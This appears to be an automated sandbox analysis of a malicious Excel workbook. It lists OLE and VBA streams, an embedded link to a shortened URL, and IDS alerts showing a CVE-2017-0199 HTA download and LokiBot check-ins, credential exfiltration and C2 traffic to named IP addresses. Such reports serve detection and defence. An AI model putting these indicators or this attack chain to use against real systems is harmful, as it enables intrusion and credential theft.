Document Code Page:	1252
Thumbnail Scaling Desired:	false
Company:	MAHIEDDINE
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	12.0000

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . < . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ee 3c 81 20 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . < q e . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ee 3c 71 65 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . < z D . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ee 3c 7a 44 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . < . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ee 3c 1a f6 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2403503175049813
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . H % . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBd0002400B/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBd0002400B/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBd0002400B/Package, File Type: Microsoft Excel 2007+, Stream Size: 38341

General
Stream Path:	MBd0002400B/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	38341
Entropy:	7.85773182578822
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . D . 2 . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 44 19 a7 ee 32 01 00 00 c9 02 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBd0002400C/\x1Ole, File Type: data, Stream Size: 612

General
Stream Path:	MBd0002400C/\x1Ole
CLSID:
File Type:	data
Stream Size:	612
Entropy:	4.971262337053294
Base64 Encoded:	False
Data ASCII:	. . . . @ U > d L $ . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . m . p . a . . . l . i . / . u . i . k . l . D . r . ? . & . c . o . l . l . o . q . u . i . a . = . w . i . s . t . f . u . l . & . s . t . a . d . i . u . m . = . t . a . n . g . y . & . e . a . r . t . h . q . u . a . k . e . = . f . e . i . g . n . e . d . & . o . f . f . i . c . i . a . l . = . q . u . i . z . z . i . c . a . l . & . d . i . s . p . l . a . y . = . f . e . a . r . l . e . s . s . & . t .
Data Raw:	01 00 00 02 db 40 ab 55 3e 64 4c 24 00 00 00 00 00 00 00 00 00 00 00 00 aa 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b a6 01 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6d 00 70 00 61 00 2e 00 6c 00 69 00 2f 00 75 00 69 00 6b 00 6c 00 44 00 72 00 3f 00 26 00 63 00 6f 00 6c 00 6c 00 6f 00 71 00 75 00 69 00 61 00 3d 00 77 00 69 00 73 00 74 00 66 00 75 00 6c 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 47149

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	47149
Entropy:	7.9740179597932555
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . d . . . 3 v . ) 8 b R , 4 X l B ' 1 . # . . j . = 5 C . . . . . . . 2 . . . \\ . p . T m 8 P . j U m . N ) . . , . 9 . ~ = O . ! ; ' v ` [ q e # , . . Q . p \| @ Y . . i . . P . G Z . d B . . . . a . . . ^ . . . = . . . . . . . . i 2 @ . o K . . . . . * . . . . . . _ . . . . h . . . . . . . g . . . , Z = . . . . . m Y g c G 1 N ~ . - @ . . . j . . . . a " . . . Z . . . . u . . . . . . D 1 . . . 8 C ] * P 5 . . . . 3 m Q 1 . . . . ; X . . $ . 3 i . . M
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 a7 64 d9 89 2e e5 0b 84 b6 e5 33 76 97 8f 11 ed 96 29 e1 38 62 52 2c 34 58 6c b1 89 42 27 31 e7 8e ed 0a 23 a1 8d 10 c4 ad 6a 03 3d d8 35 43 98 e1 00 02 00 b0 04 c1 00 02 00 32 d9 e2 00 00 00 5c 00 70 00 b7 54 b4 6d e6 97 dc f0 38 50 84 11 6a a5 55 e2 b2 fb 6d 0c 4e 9c 29 ab a7 b8 96 14 1b eb

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 529

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	529
Entropy:	5.270033320300745
Base64 Encoded:	True
Data ASCII:	I D = " { 4 8 C A B 2 3 3 - A F B 3 - 4 E E F - B 9 7 D - 7 C 5 F 2 D 8 D 7 6 8 4 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 2 7 2 5 0 B 9 2 0 D 9 6 D 4 9 A D
Data Raw:	49 44 3d 22 7b 34 38 43 41 42 32 33 33 2d 41 46 42 33 2d 34 45 45 46 2d 42 39 37 44 2d 37 43 35 46 32 44 38 44 37 36 38 34 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.984941962751876
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.356559220010791
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . + i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 03 e2 2b 69 12 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T08:45:24.692895+0200	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49164	192.3.176.141	80	TCP
2024-10-24T08:45:24.692922+0200	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.3.176.141	80	192.168.2.22	49164	TCP
2024-10-24T08:45:27.389849+0200	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49166	192.3.176.141	80	TCP
2024-10-24T08:45:27.389909+0200	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.3.176.141	80	192.168.2.22	49166	TCP
2024-10-24T08:45:46.719121+0200	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49174	192.3.176.141	80	TCP
2024-10-24T08:45:47.325286+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.186.97	443	192.168.2.22	49169	TCP
2024-10-24T08:46:06.918306+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.186.97	443	192.168.2.22	49176	TCP
2024-10-24T08:46:07.501003+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:07.501003+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:07.501003+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:08.436934+0200	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:08.603129+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:08.603129+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:08.603129+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:09.533913+0200	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:09.653987+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:09.653987+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:09.653987+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:10.615957+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:10.615957+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:10.621545+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49180	TCP
2024-10-24T08:46:10.793925+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:10.793925+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:10.793925+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:11.760826+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:11.760826+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:11.766708+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49181	TCP
2024-10-24T08:46:11.962080+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:11.962080+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:11.962080+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:13.013301+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:13.013301+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:13.019152+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49182	TCP
2024-10-24T08:46:13.263396+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:13.263396+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:13.263396+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:14.275753+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:14.275753+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:14.281509+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49183	TCP
2024-10-24T08:46:14.530065+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:14.530065+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:14.530065+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:15.610265+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:15.610265+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:15.615823+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49184	TCP
2024-10-24T08:46:15.797609+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:15.797609+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:15.797609+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:17.050811+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:17.050811+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:17.050862+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49185	TCP
2024-10-24T08:46:17.256132+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:17.256132+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:17.256132+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:18.216510+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:18.216510+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:18.222022+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49186	TCP
2024-10-24T08:46:18.375546+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:18.375546+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:18.375546+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:19.333801+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49188	94.156.177.220	80	TCP
